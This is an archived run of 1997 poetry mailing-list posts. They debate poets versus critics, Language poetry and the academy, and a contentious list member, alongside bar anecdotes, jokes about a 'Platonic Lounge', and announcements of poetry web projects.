>I declined. The threat came from a ball-scratching white man. Heterosexual
>bars also distill liquor, which is usually a reason to go.
>
>I have no faith in the bar-list metaphor. If it were anywhere near true,
>what a drag the place would be.
>
>Long before I came to this "virtual hangout," some gay bars I frequented
>didn't challenge my social order as much as I had anticipated. All in
>Philadelphia. The first was a motorcycle bar. Harley's hung from the
>rafters. We went after a party and since most of the crowd were gay men,
>they got to choose the bar. We shot some pool. Though not in leather, I was
>ogled quite a bit. That was nice.
>
>Spent many a night at Hepburn's, a virtual shrine to Katharine. My bisexual
>girlfriend adored the place, and it was so close to her apartment. At the

>door, a stream of very young women would pour past the bouncer into the
>bar, but she stared and sneered at my id for several minutes. I smiled and
>looked dumb. I was dumb, and the bar itself was beautifully done. Pads of
>paper and tiny pencils were left at intervals along the bar, and although
>my companion left my name and number on several of them, no one ever
>called.
>
>In another bar, on the third floor of an ancient brick rowhouse in a
>cobblestone alley, we watched from the bar as 14 men dance almost in unison
>on the mirrored dancefloor. As they spun in flashing pirouettes my
>girlfriend kissed me. When I opened my eyes the smiling bartender winked at
>me.
>
>What a dreamy time that was.
>
>No real point to this post. I'm just sick of talking about Kim Dawn.
>
>
>[redacted]
>
>

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226. Matthias Regan
Re: identity, and other excresences
Tue 8 Jul 1997

I just don't get this insistence on elucidating differences between poets and critics! And the methods of analysis so far employed in answering are backwards!

Lets proceed from actual lived reality, present and past. I really CAN NOT think of any poet who I would allow NEVER wrote any criticism; and as for paying critical attention to his or her individual work: I'm baffled!

Its not that I don't see lots of people who spending their lives writing and thinking critically and are not poets — but what poet does not write and think critically?

And what is the point of trying to locate the TRUTH of differences between poets and critics in some inner or outer but either way throughly abstracted system of thought patterns? What are poetic sympathies? Compared to critical inferences? I'm deeply suspicious. Is this distinction supposed to indicate a difference in cellular tissue? Are there atomic correspondences? I thought

among clear-thinking liberal types this pattern of critical thought went out with Kant.

Some days ago, nearer the beginning of this discussion, was written:

"Although, a writer like Benjamin beautifully incorporates poetic sympathies into his writing, I think it is less successful for a poet to bring criticism into a piece of art.

How is criticism defined? Critical thought, analysis, must exist in -- as part of -- in the creation of -- the work of art! Unless you believe that poetry is purely the divine breath of the Almighty Inspiration and the author's task is mere recording and ON TOP of that believe that manipulation of a language is also not critical, then there is NO basis for assuming that a poet writing poetry has not thought critically about other poetry, her own poetry, the general categories of poetry, etc., etc.

But that is beside the point! I think an argument could be made for distinctions between poetry and philosophy, as separate categories of thought and writing that have defined themselves negatively by the other for several thousands of years.

I agree with the above quoted bit at least to the degree that these days I tend to think of critical work as more popularly being classified as poetic, then poetry being declared critical — but that is true all over: what isn't called poetic? Hell, even poetry is described as having particularly poetic phrases inside it.

What about Blake? Williams? Stevens? — to mention three names I've read in the last 3 days on here: don't each of these poets write poems which in engage in critical work?

And to draw from a closer deck: look at our own list members, today, in an exchange that began:

Dear Kali,

Are your men
and women
too heavy
for words?

and ended, very powerfully, I thought, quite brilliantly in fact, given the tenor and subject of much of the proceeding dialogue, about violence in writing, pornographic writing:

the rest is gloss
put your body where your mouth is

If the power of these words isn't a critical one; if their "function" can not be said to have a critical role, why not?

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227. George Bowering
Re: acadminished in Boulder
Tue 8 Jul 1997

> *Since Tom asked, here's Derrida on switch hitting:*
>
> *"An aphorism is a name but every name can take on the figure of aphorism."*
>
> *from "Aphorism Countertime"*

How does he feel about the squeeze play?

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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228. Eliza McGrand- CVA Guest
Re: a cigar is a cigar and a bar is a bar
Tue 8 Jul 1997

---

tom

you DID engage with me backchannel and make a good case for why you could not defend kim dawn's misreadings. but you did not engage, in public, with the fact that while complaining about how she had been misread, misunderstood, attacked, etc. she perpetrated the same acts ad nauseum. a defense that ignores the offenses is perhaps the best you can do, but it is pretty lame. to be honest, it was the hypocrisy that bothered me most in kim dawn's posts and posturing, i.e. the i- don't-see-all-those-beams-in-my-eye manner.

re identity, i thought i was clear but evidently i was not clear enough for you (nor was dodie or several others in their treatment of the same thing) so i'll elaborate: poetics list was hit by a spam/possible false identity/flamebait attack a number of months ago.

by "wierdness" and "bizarreness" of posts, i referred to, as i said in post, the fact that the same sort of rhetoric were used in earlier outbreak as in the kim

dawn posts: the same multiple mailings of disconnected, uh, prose. the same misreadings. the same extremes of violence. when investigated, the same lack of computer identifications emerged.

it is not unique to poetics. this kind of misrepresentation of identity, then spam/flamebait/ worse, has happened in almost every list in cyberspace at least once. i have friends on longstanding lists who've gone through multiple bouts. there is a site, if you're interested, run by a fellow in finland on spamming and cyber space list attacks. as i said in previous posts, and as dodie has elaborated on among others, the kim dawn posts have all the hallmarks and we are already out there in community as mark, witness earlier bout.

finally, in that you spoke with me backchannel, i honor your efforts. i can understand that you feel you spoke to me about this so the situation was, in your mind, settled, and you might well feel i've been unfair to you.

but it remains that you make apologia, defense, noises of "she's not so bad" and yet you did not, publically, grapple with her inexcuseable behavior to me. i find her behavior to jay, to dodie (the bait-switch of "i love your work" and then a really virulent attack in the next post just after dodie, good heart, let down her defenses was particularly beyond the pale i thought), to me, all of a piece. thus, before anyone sets to work on apologias and defences, ALL the aspects of this posting nightmare should be considered. when her behavior to me is included, i think she is, in essence, indefensible. but you did at least make an effort to deal with me directly, which is the best i've seen so far.

when writing previous post, it occurred to me that you might feel i'd dissed you, but as i thought about it, though you were prompt and good about trying as best you could to both admit the fault but explain that you couldn't speak for her and defend it, you continued, in effect, by not dealing with it in public but defending her, to defend her behavior to me by default. and it was, as you said, indefensible.

she is your friend, you've said, and that means you are in some sense honor bound to stick up for her. i can also understand that. but she has not apologized, publically or privately, for what she did to me and did, i add, a NUMBER of times EVEN AFTER she was requested to cease and desist from misreading me and spreading utterly false rumors. in fact, she went on to commit, after the second or third request, the infamous false rape allegation coupled with an accusation of hypocrisy based on the notion that i'd said (which i hadn't) that one oughtn't post private matter or write about it then had written about what she alleged was my rape (though i'd done no such thing!).

in one fell swoop, we have misreadings, spreading of false information, accusations of hypocrisy (and worse) based on false premises, and repeated

disinclination to honor my requests that she read me words carefully before paraphrasing, interpreting, or otherwise using them.

as i've said, however, there has been no public apology, no private apology, no owning up, no responsibility taken, no effort to discern similar misbehavior to other people, not even an explanation of how she came to make such a hash-up (with, perhaps, some consideration of possible similar mistakes)... and in the defenses, no mention of a grave misdeed in line with a number of other misdeeds. in a word, nothing.

i've said this to kim dawn backchannel, by the way, as well, so it is not that she did not have the opportunity to understand both from public post, and private post, that her behavior was excessively offensive.

rather than upbraid me for not letting that serious group of misdeeds slip out of the picture in a sort of kim-was-only-playing defense, i would think it a better use of time to analyze the bad scholarship of such misreadings, the apologies owed to people attacked wrongfully, methodology to honorably undo some of the damage wrought, and ways to be playful but truthful and intelligent at same time. i know, it isn't as sexy as calling people nasty names and writing fun little flamebaits, but that is what landed kim where she is in the first place, no?

final note: it was out of a sense of HONORABLE feminism, i.e. fair play and that sort of tiresome thing, that made me protest the sexual harassment of jay schwartz. what, as a feminist, i find unacceptable when done to me i am honor bound not to accept as right to do to anyone else. i've said this before, but consider audre lord on the tools of the master which build the master's house. but posts on this foolishness has taken up much too much space on the list and i'm ashamed to be adding to it.

e

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229. **George Bowering**

Re: power in nipples

Tue 8 Jul 1997

I never have any of those problems in bars. I always go to asexual bars. That's where I met David Bromige, in 1958, so I am eternally grateful for them asexual bars. The one I favour now has a pickup area called the Platonic Lounge.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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230. **Mark Weiss**
Re: acadminished in Boulder
Tue 8 Jul 1997

At 02:12 PM 7/8/97 -0700, you wrote:
>>Since Tom asked, here's Derrida on switch hitting:
>>
>>"An aphorism is a name but every name can take on the figure of aphorism."
>>
>>from "Aphorism Countertime"
>
>How does he feel about the squeeze play?
>
>
>
>
>George Bowering.
>   ,
>2499 West 37th Ave.,
>Vancouver, B.C.,
>Canada V6M 1P4
>
>fax: [redacted]
>e-mail: [redacted]
>

He's French--need you ask?

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231. **David Israel**
overheard in the Platonic Lounge
Tue 8 Jul 1997

{ was "Re: power in nipples" -- but now that we're goin' all Plato-like, a new subject-line seemed apposite . . .]

George Bowering remarks, <<I never have any of those problems in bars. I always go to asexual bars. That's where I met David Bromige, in 1958, so I am eternally grateful for them asexual bars. The one I favour now has a pickup area called the Platonic Lounge. >>

A: i have an idea I've seen you before --

B: how could it not be so?

A: that toga you're wearing, . . .

B: yes, i've worn this since before eternity . . .

A: how do you keep it in such good repair?

B: i buy a new one each spring --

A: isn't that rather crass?

B: how so? the vernal partakes of the beyond, n'est pa?

A: an idea of happiness seems to emerge --

B: when it turns, as in the wind --

A: does it turn clockwise

B: or counter? . . .

A: garcon! -- scotch on the rocks . . .

B: as for me: absinth no chaser . . .

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232. David Israel
damian lopes / Project X Website
Tue 8 Jul 1997

Poetas,

the following surfaced via the So.Asian Lit. listserv. I'm not acquainted w/ this Damian Lopes (or as he prefers, damian lopes), but from the description, his project seems apt to prove of interest to some folks here. Meanwhile, if anyone might have remarks / anecdotes / whatever re: the da Gama gambit, and/or its author, I'd be interested to hear . . .

d.i.

>>> Prose & Contexts <[redacted]> 07/08/97 08:24pm
>>>
>Date: Tue, 08 Jul 1997 14:24:29 -0400
>To: (Recipient list suppressed)
>From: Project X <[redacted]>
>Subject: Project X Website Launch
>
>For Immediate Release
>

>8 July 1997
>
>Project X Launches Poetry-Multimedia Website
>
><http://www.interlog.com/~vasco/>
>
>Today marks the 500th anniversary of Vasco da Gama's departure on his all
>but forgotten first voyage from Portugal, around Africa, to India. Project
>X is an ongoing poetry-multimedia installation that re-examines that
>journey in order to explore discovery, technology and colonialism. It is
>written and designed by Toronto-based writer, publisher and designer damian
>lopes. It is located at <http://www.interlog.com/~vasco/>
>
>Approximately one third complete at present, it will be expanded, updated,
>rewritten and revised regularly, likely undergoing several complete
>transformations as the changing medium reshapes the work. This is not a
>literary work on the internet but an internet literary work as the medium
>is an integral part of the project. For example, the intention is to link
>virtually every word of the poetry either within the project or to external
>sites, taking the concept of hypertext to its logical extreme. Also, the
>work explores continuing issues of colonialism and technology, using one of
>our most advanced colonial media.
>
>The public is invited not only to watch the work's development, but to
>participate by offering comments and suggestions. Links to reviews,
>responses and critiques, in addition to other related sites, will help
>start a dialogue between the explorers and the explored.
>
>In addition to Project X, damian lopes has two books due out this fall: a
>poetic travelogue, towards the quiet, to be published by ECW Press; and a
>box of visual work, sensory de(p)rivation, forthcoming from Coach House
>Books. He has recently completed his first novel, St Anthony's

Children,
>which explores the migrations of three generations of a South Asian
family.
>Last summer he co-edited A Handful of Grams: Goan Proverbs,
published by
>Caju Press. He is also a publisher (fingerprinting inkoperated),
bookseller
>(afterwords literature), and desktop publisher/web designer (Prose &
>Contexts).
>
>Project X is funded by The Canada Council for the Arts, and the City
of
>Toronto through the Toronto Arts Council. The website is sponsored
by
>Interlog Internet Services.
>
>- 30 -
>_____
> Project X damian lopes
> Box 657 Station P Toronto Canada M5S 2Y4
> <http://www.interlog.com/~vasco/>
>
>a poetry-multimedia installation exploring
>discovery, technology, colonialism

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233. Tom Orange

Re: a cigar is a cigar and a bar is a bar

Tue 8 Jul 1997

[first, as an aside -- yes d.i. i am *very* curious abt this, sounds like some kind of net surveilance check -- could you elaborate on this last sentence eliza?

> *by "wierdness" and "bizarreness" of posts, i referred to, as i said in post, the fact that the same sort of rhetoric were used in earlier outbreak as in the kim dawn posts: the same multiple mailings of disconnected, uh, prose. the same misreadings. the same extremes of violence. when investigated, the same lack of computer identifications emerged.]*

On Tue, 8 Jul 1997, Eliza wrote:

> tom
>
> but you did not engage, in

> public, with the fact that while complaining about how [kim] had been
> misread, misunderstood, attacked, etc. she perpetrated the same acts
> ad nauseum. a defense that ignores the offenses is perhaps the best
> you can do, but it is pretty lame.
[and elsewhere]
> but it remains that you make apologia, defense, noises of "she's not
> so bad" and yet you did not, publically, grapple with her inexcuseable
> behavior to me.
[and still elsewhere]
> you continued, in
> effect, by not dealing with it in public but defending her, to defend
> her behavior to me by default.

mea culpa for a "pretty lame" defense, eliza, but i don't know what you'd have me do: go back through the archive, repost all the exchanges you had w/kim and then apologize *for her*? seriously? i honestly cant see how this wd constitute proper public/scholarly engagement on my part. you feel you've been violenced, i respect that, i empathize with you, but i can't see my engagement with the specific issue of identity/violence arising out of this miasma as constituting a dereliction of my argumentative or compassionate duties.

(as to her "perpetra[tion] of the same acts ad nauseum" -- such an exaggeration perpetuates the reduction of kim's writing to "endless bad pornography." her post today was the first in quite a while and -- gasp -- no smut!)

> *re identity, i thought i was clear but evidently i was not clear enough for you (nor was dodie or several others in their treatment of the same thing) so i'll elaborate: poetics list was hit by a spam/possible false identity/flamebait attack a number of months ago.*

no, you were quite clear, so let me reiterate what i said. i witnessed the spam-of-old you speak of, i was subscribed to this list then as i have been for well over a year. i can even understand your then-fear that poetics was being invaded by a flamethrower--a fear i tried to assuage in a 14 june post.

let me also reiterate my primary concern here. there is an insistance than kim has violenced people, and what i have been trying to argue all along -- not so much that "kim's not that bad," that she must be defended, etc. -- is that the language that has been used to denounce kim's violence *itself* possesses a kind of violence, a far more covert and subtle kind: take what we find unknown, fearful and bizarre -- moving gradually from the level of fact to *interpretation* mind you -- and assimilate it with something that we know to be fearful (flamethrowers) so that we can identify it as having no identity and hence contain it, silence it, and cast it out.

this i find to be a dangerous logic. this is what i am saying.

> *i can understand that you feel you spoke to me about this so the situation was, in your mind, settled, and you might well feel i've been unfair to you.*

i never assumed it was settled -- obviously it's not since we persist in talking about it. i don't feel you've been unfair to me, unless what you want of me is an apology on someone else's behalf; it's simply not my place, and i don't think that delegitimizes my place of speaking, from which i have been trying to demonstrate that there has been violence from both sides of this battlefield and that we can all judge for ourselves which violence is more dangerous.

tom orange

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234. main
sh'wa
Tue 8 Jul 1997

---

is anyone familiar w what (if any thing) this signifies in hebrew?
according to _webster's new universal unabridged_, the etymological
underpinning of _schwa_ is "hebrew _sh'wa_". i'm told by hebrew speakers
that this word (as it's phonetically translated into english) doesn't
exist. ?
please backchannel.
thanks,
dan featherston

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235. David Bromige
Platonic Lounge
Tue 8 Jul 1997

Really! In the interests of historical accuracy, I must deny ever being in a Platonic Lounge. It is true that the watering hole where i met mr bowering was sexless, but that was because it was a canadian beer parlor. There can be no sex in a canadian beer parlor, although plenty of hormones, & then he hits you, eh? so you slug him right back. But thats not what i call sex.

It is true that, later, there was a Ladies & Escorts section, next to the Men Only section, & that mr bowering got to be practiced at slipping in there solo (strictly against the law) & then "picking up" a woman likewise solo or perhaps sitting with a girlfriend or two as they called one another back then.Engaging them or her in the sort of idle badinage so familiar to us listlings, he "pulled rank" on

those of us men condemned to drink with each other but only to gaze thru the door (only slightly ajar) at the rhapsodies of femininity so near yet so far.

But the "Ladies & Escorts" section cannot be what he means when he says "Platonic Lounge". He must allude, as I sd at the start, to the dingy dungeon where we drank our lager & tomato juice until we got drunk enough to get ourselves hurt--or in mr b's case, arrested & thrown in the slammer. And hurt.

Thats the kind of place Plato's Lounge w o u l d be, dont you think? --I know if socrates came that old game of his with me, I'd be glad to hand him a knuckle sandwich. My trainer, by the way, is Tom Mandel.

Another of Bowering's Bubbles popped. ...& nobody h a s to do it. But i had saved some message space up, & its how i have my fun.....Brahms.

PS John Ashbery d i d suggest once that he & I enroll in bartenders' school. I often regret not following this advice.

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236. Eliza McGrand- CVA Guest

Re: Platonic Lounge

Tue 8 Jul 1997

---

dear innocent bromige -- may he ever retain his redenbacherian nattiness, with it's soupson of canadian purity...

the prime, uh, swingers en groupe, in ny city for years congragated and conjugated in a joint called Plato's Retreat. i am not at ALL surprised Bower-ring was a regular. it was that kind of place.

i know of it, of course, only through hearsay since it closed while i was still too young to drink. otherwise, passing it in the night (but NEVER going in i vow) i would, doubtless, have met the tiparillo-chewing, fishing hatted, more-than-slightly seedy GB himself. no doubt he would have in tow some number of firm-chined canadian mounties, perhaps the ottawa crowd, to whose loved ones he offered plentiful assurances of literary tours and historic salons of the wits of days past. what they got is best left to the shudders of some bleak sleepless night... e

↑ Index

237. Loss Pequen~o Glazier

collaborative poem

Tue 8 Jul 1997

The EPC is testing a brand new collaborative writing interface and invite you - if you have a moment - to help us run this interface through its loops (we hope

no loops) - and put it to the grind. Will this be one of the first debuggings done with original poetry? We welcome your contributions to a collaborative poem to test this interface. Point your browser to http://www.cs.buffalo.edu/~npsmith/poem.html and fill in a few lines if you will. This interface will only be up briefly so if you get a chance, thanks!

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238. Alan * Sondheim

By way of explanation -- (fwd)

Wed 9 Jul 1997

--)--=_

The It of the Texts:

Centering texts creates a bulbous apparatus, as well as an axis, as if there were _spew_ or ballooning pouring from/to the subject - as if the flow revealed the invisible _form._

Random capitalization implies pastiche, pasting, crazed breath and em- phasis, language gagging on itself - as if there were _violation-fab- ric_ rabbit-glued to the earth.

Textual mixture and rearrangement transforms meaning into broken and recon- figured bodies, part-objects of isolated cries, indecipherable culture, the other: dyslexic glossolalia.

Patterning constructs representation itself garnered against the plea- sure of the text, its life-world constructed as semantic markup. Pat- terning symmetri- cizes as well, reflecting screen and dream-screen as a return to the reading subject, suddenly glancing at her reflection, suddenly dreaming mandala-mean- ing criss-crossing the desperation of the textual interior.

Diacritical marks such as < and > embedded as unquoted symbolic tend to- wards doubled meanings as language engages with the articulation of a formal- performative. Text oozes around marks, floods _things_ with clots, disarms.

Repetition constructs the gasping-for-breath of the textual body, de- sire for re- dundancy, an urgency which ripples into sound, contradicts the very meaning it attempts to display. The _singular repetition_ is the site of each and every tex- tual unit: what has been spoken or writ- ten belongs nowhere and to no-one, is subject to the precarious infin- ity of duplication. Thus what has been written hinges on one's dream of eternity, one's eternal dream, the continuation of _the tongue_ past every perturbation of the body.

Substitution turns text into sound, broadening or shortening words, consonants, vowels; what is substituted increases in frequency, glid- ing from the tongue,

reconfiguring the maternal. The sound recuperates the stereotypicality of common words, duplicating them within stereo visibility as well. Site splits, spreads; citations curl across the textual domain.

Utilization of programs (doctor, snoop, dissociated-press, tac, rev, sed, grep, awk) creates negotiations among text, body, framework - language, breath, screen - stutter, flow, formal definition. Meaning seeps among protocols, across bodies, throughout discursive forma- tions, including Internet applications, hard-copies, spoken-words, ululations...

One speaks of the body of repetition or substitution, the html-body, the patterned or centered body, the dismemberment of the capital- letter-punishment. One thinks of the multiplicity of bodies; bodies seeping among sites, sights, citations; bodies as _semantic flow_ - political economies of subjectivities across partial domains. Each reconfiguration of the surface (such as this itself, written in emacs) turns towards an investigation, the peripheral image caught at the edge of the mirror, the feeling that someone, some body, is behind you this very moment.

The _tiny or weak_ body sits, ponders, a metaphysics occasioned by the _tools of the Net_ - by any Thing (site, formation, flow) within which language is mobile, constrained, channeled. The Jennifer-body is close to the ground, close to meaning. The Alan-body remains over-determined and tending towards foreclosure, defuge; it is the Jennifer-body that carries on this work, the Julu-body that undermines it with sexuality, rage, and the phenomenology of the _sleazy,_ torn, half-open, gleaming in a midnight of artificial illuminations.

(Within and without, _it_ attempts speech, continues inconclusivity.)

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239. **Jordan Davis**
Re: Platonic Lounge
Wed 9 Jul 1997

Now I get it ... the dwirling subplots, arty lighting, tedious soap opera living, and then alternatingly shocking and cozy sex .. it's not Ellen, Bob Hale, it's Twin Peaks we're watching! what tipped me off was Bowering's allusion to the "White Lodge" ... Platonic Lounge my foot. Plato as we readers of Caterpillar and Sulfur know is a cover fr Amerindian lore .. the cave you see. I'm expecting all of us collectively to hit our heads against the mirror -- Killer Bob is us! -- and laugh and say over and over, "How's Annie? How's Annie?"

Thanks you all, wow,
Jordan's doppelganger

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240. George Bowering
Re: Platonic Lounge
Wed 9 Jul 1997

(Sigh!) another of Bromige's revised memory numbers.

> *PS John Ashbery d i d suggest once that he & I enroll in bartenders' school. I often regret not following this advice.*

It was not John Ashbery; it was Lionel Kearns. And it was not Bromige whom he asked to enrol in bartenders' school with him; it was yr servant. Said the fee was $200. I had the $200, but I used it to pay off the brother of that woman that Bromige compromised.

This took place, not in any lounge, but at the Drake Street Baths.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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241. Eliza McGrand- CVA Guest
conspiracy in the air....
Wed 9 Jul 1997

what on earth is in the water up in uwo canada?. what am i asking from you? -- i've already said a number of times: come off of that "i'm being impartial" pose unless you are willing to extend the same critical eye to both parties. you've made it very clear so far that you are not -- once again, you fulminate about the "violence" done kim dawn as if she were some sort of wounded fawn.

wrong. she entered this list with one of, if not the, most vicious attacks on someone i've yet seen with little or no provocation, and continued firing off attacks augmented by misinformation. understandably, her bizarre, mean, and irresponsible behavior irritated people. overall, the list has been remarkably forebearing. your continued talk about the "violence" of response to her takes no account of her own far greater violence. i think i've said that how many times now?

and no, there is not some conspiracy of computer surveillance extended across national borders and that you'd speak as if it were a settled thing in that tone only points up more painfully clearly the rhetorical technique i am beginning to fear is becoming standard issue up in UWO. whenever a request comes in to take self-responsibility and acknowledge misdoing, a salvo of wild accusations against requester is sent out. i have not seen one single word of apology from kim dawn about any of her misdeeds. i have not yet seen you turn any sort of analytic eye publically to her appalling acts. and it doesn't take masses of research through the computer to find them -- post after post of vicious attack and misinformation.

as more of the harrassing and confused posts came in from kim dawn i used the standard unix command to verify addresses, "finger," and got several conflicting results. that was one of the early signs in the early spam episode that things were worse than they seemed, which was discussed several times on list -- yet you act as if you had no knowledge of it while claiming to remember incident... and, yes, the previous post to me was full of rhetorical violence and accusation... and, why, you are posting from "julian" server, and everyone knows that julian is a name used by british who are notoriously colonial... and you have begun evoking the extreme sexual rhetoric of your... and, yes, could it be?

you must be the one who invented the secret "julian" computer virus! unmask yourself villian! we've seen behind your rhetoric of mild studenthood to the international net terrorist beneath! yes, yes, and i bet you shot the kennedies too, that's the ticket! it's all a plot, it's all a vicious front of rhetorical violence aimed at innocent bystanders to get them to...

arughhghhghhhghhhhhghhhh!!!!!!

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242. Mark Prejsnar

Re: Bob Grumman's list poetic schools / Is Langpo acadominant?

Wed 9 Jul 1997

On Tue, 8 Jul 1997, Mark Weiss wrote:

When Language
> Poetry arrived at the academy it fit so well into the theoretical concerns
> of some of the younger critics (Lacan was all the buzz at Hopkins by 1965,
> and the Columbia French Department had begun the process of assimilating
> structuralism and post-) that it seemed made to order. This need not be read
> as a put-down. It is different from what came before.
>
> At 10:10 AM 7/8/97 -0400, you wrote:
> >On Tue, 8 Jul 1997, Michel Delville wrote:

> >
> >> socio-cultural practices. The list could go on and on forever . . . To
> >> pretend that this has nothing to do with the entrance of U.S. colleges into
> >> the intellectual life and creative pratices of poets is simply absurd.
> >
> >Sorry but the the general arguments of your post, Michel, strike me as
> >somewhat more absurd....
> >
> >Most of the poetic tendencies that are seen as alternative to LP (deep
> >image type stuff, the generlized plain-spoken "I" free-verse lyric of APR,
> >etc.) are **far more** anchored in the academy, and dominant there, than
> >is LP. This is why most of my posts in response to Bob's list have been
> >a little irritable. It's so obviously *gratuitous* to link the Lang-ists
> >with academe, given the siting of most U.S. poetry within academic
> >settings, that it seemed that the term could only be intended as a rather
> >heavy-handed put-down. That still seems self-evident to me.
> >
> >Mark P.
> >
> >
>
From Atlanta this response:

The contrast between my snipe at Michel's posting, and what Mark W. says in the bit quoted at the top here, gets at some of the reason for my apparent disagreement with a number of folks on this issue....I'm thinking about the **social placement, or siting** of poetry as an institution. Others are thinking about the fact that the LangPotes were strongly shaped by Derrida and other related theory--and that much of their practice is consequently somewhat familiar to and congenial to academix of that persuation.....In part, I'm just talking about something elese...But I return to the fact that Bob's "acadominent" (or whatever it was) label is just completely silly..It implies a mainly acadmic character for LP. How can this be when, as a social practice, most competing schools of US poetry are **so much more** dominant in academe, and dominated by their character as acadmic practices (supported by grad writing programs, sustained by university-sponsored literary mag's etc.)??

And another thing: it is really a problem, this hand-wringing focus on Derrida and deconstructionist influences..At least as important in shaping most of the articulate theory-type LangPotes is the influence of Brecht (that musty ol' perfesser)...The idea that social reality and therefore poetry are *unfinished* until the reader/social actor make a major contribution, is the single most important item in the LP theoretical toolkit.

Mark P.

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243. **Susan Wheeler**
Re: POETICS Digest - 7 Jul 1997 to 8 Jul 1997
Wed 9 Jul 1997

Ron Silliman wrote:
>Time Magazine (and its companion Life) is not a bad thumbnail index of
>official culture, esp. in the 1936-70 timeframe. I don't know what they
>thought of Stevens or WCW, but they did do a special issue on poetry (not a
>"single author" job like the recent Robert Hughes deal on the visual arts,
>which was too hokey and shallow for words, but did have some nice
>illustrations) in 1964 that had Robert Lowell on the cover. It would be
>worth it to look up that particular issue and report back what it said of
>Verse.

As chance has it, I found a copy of the article I believe you're referring to among some old papers last year; I was eleven in Minnesota and the weekly Time was News from Outside, I recall. It's from June 2, 1967 -- Lowell's on the cover and is the main feature of the article, which is eight DENSE pages long -- no author noted (does anyone know who was covering books for Time then?). It is also striking for its leisurely lead and pace: maybe there really is something to the idea that Laugh-in changed everything. It's much too long to key in (if anyone wants a copy I'll send or fax -- let me know), but some of what pertains here is:

. . . In that respect, the testing is proceeding at a pace never before felt in the history of American literature. Two generations ago, many poets were at work in the U.S. -- probably a greater number of major poets than at present -- but their world seemed narrower. The literary quarterlies spent more space and passion discussing poetry, but their audience was limited. Slowly, poetry moved out of the parlors of overstuffed gentility into the academy. Now it is moving out of the academy -- out of college lit courses and esoteric coteries -- back to where it was when minstrels sang their verses in the marketplace. It exists once again in an ambiance of instant feeling. Poets are declaiming their works before large, theater-size audiences in the cities and on the campuses. Government grants, foundation funds and universities with chairs for poets-in-residence are all conspiring to strengthen or at least amplify their voices in the world at large. Their poetry books trip ever more briskly off the presses, and their phonograph recordings feed a flourishing market. . .

And this is its 3-paragraph synopsis of poets who made a dent in the U.S. in the 20th century(!):

. . . From Pound to the Beats. In the 20th century so far, the devotees of the "second chance" have constituted a remarkable poetic pantheon. The Zeus of that lofty company is himself still alive, thought he has long since had his say. Erza (sic) Pound, 81, now living in Italy, fathered modern English poetry, freed it from excessive strictures of meter, rhetoric and prosody. One of his earliest converts was T.S. Eliot, who sensed the dilemma of modern, urban and areligious man, and whose dry, ironic style and endless rhythmic ways of weaving contemporary sounds are echoed in virtually every poet's work today. Of Eliot's generation, Robert Frost seemed a throwback; yet, while he adhered to established forms, he commanded a deceptively simple vision of man's vanities, his heart and his land. More experimental, and less accessible, were William Carlos Williams, a true avant-garde poet and master of the spare, stripped-down image, and Wallace Stevens, a pointillist of light, color and all intangible things. Marianne Moore, now 79, constructs unique mosaics from conversations, newspaper clippings and even scientific tracts. W.H. Auden and Allen Tate were both, in Auden's words, "colonizers" of the terrain that Pound and Eliot discovered. Theodore Roethke was already a major poet when he died in 1963 at 55. The late Dylan Thomas, with his crosscountry sweep of public performances, helped carry poetry into the floodlit arena. So did the beats. Of them, only Allen Ginsberg retains any influence, perhaps less for his poems than for his relentlessly acted role as the be-whiskered prophet of four-letter words, homosexuality, pot, and general din. Still, in their better moments, the beats, now fitfully imitated by the hippies, gave poetry a startling air of spontaneity. . .

Susan Wheeler
[redacted]
voice/fax [redacted]

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244. David R. Israel
shades of Yasusada?
Wed 9 Jul 1997

---

yo,

this just in from Tehran -- of poss. interest for diehard multi-asian comparative lit Pessoa Phenom (okay, I fudge) hobbyists ? . . .

d.i.

------- Forwarded Message Follows -------
From: [redacted] (Karim Emami)
To: [redacted]

Date: Tue, 8 Jul 1997 19:37:06 -0400
Subject: A query for Arabists

Greetings, A book has just been published in Tehran which claims to be a translation of an Arabic satirical novel entitled <al-ensan ol-hayy> (the Living Man) by a certain Mamduh ibn Aatel Abu Nazzaal (please forgive the transcription). The action takes place in Baghdad in the early eighties. The translator is a prominent Iranian novelist called Ahmad Mahmud, and according to bookshop gossip the translator is in fact the real author. So the question now is whether the alleged original work and its purported author truly exist. According to a short biographical sketch included in the front matter the book was clandestinely printed in Baghdad in 1984, but it has been widely reprinted abroad ever since. The notice says the author was born near Basra in 1931 and he died in exile in a European country in 1991. Any information that our Arab friends can provide would be appreciated. Here are the particulars of the Persian "translation": <aadam-e zendeh> by Mamduh ibn-e Aatel Abu Nazzaal. Translated into Persian by Ahmad Mahmud. Tehran: Mo'in Publishers, pp.198, 1376/1997. ISBN [redacted]-14-7.

Karim Emami

Karim Emami
Zamineh Books, Tehran
Phone & Fax: ([redacted]
e-mail: [redacted]

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245. **Jordan Davis**
Brecht / Derrida
Wed 9 Jul 1997

Mark P --

Yeah, I always heard more Brecht than Derrida in the Tree of Equals Signs. This is because I take the enfranchisement of gimme a T for Theory gimme a D for Discourse in the academy -- TouchDown! -- to be a parallel development to the near-total hostility to/from the New York School of Language Poetry, one of those 'asymptotic' deals you get so much in the poetry of the non-Brechtian graduating classes of 87, 92, 97 -- when's the movie coming out? That is -- Language Writing gets formed independently of but sympathetically with Theory. Then Theory morphs into cultural studies, it all gets called 'bad writing' will-I nil-I, and everybody retrenches in a shaky self-conscious consumerism. Cool!

Meanwhile (and to near-total hostility) a few Languge Writers (poets? prose writers? critics? I don't know much about criticism, but I know what makes me anxious) finish their dissertations and despite a needlessly brutal job market, find work teaching. Again, cool! _Wish them well_. An economy that is doing so well -- we'll see them go past 8000 today -- without appreciable distribution of those gains -- are you better off etc == can only get so far by squishing every last grape of thought. Well that's a stupid image. But one should rather think of them, the acadominated, as brave employees, much as one thinks of say, Wallace Stevens dictating sonnets, savoring _privately_ any oxymoron one may care to notice.

Manchester United,
Jordan

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246. **Bob Grumman**
Re: List of Poetry Schools
Wed 9 Jul 1997

Here's the latest, and perhaps last, update from The Port Charlotte Poetics Taxonomy and Schoolification of Poetry Center. Responses have been dwindling but I've gotten enough good ones, I feel, to assure an improved model of my list, which I plan to post in a month or so. (It's not changed enough to make quick posting worthwhile.)

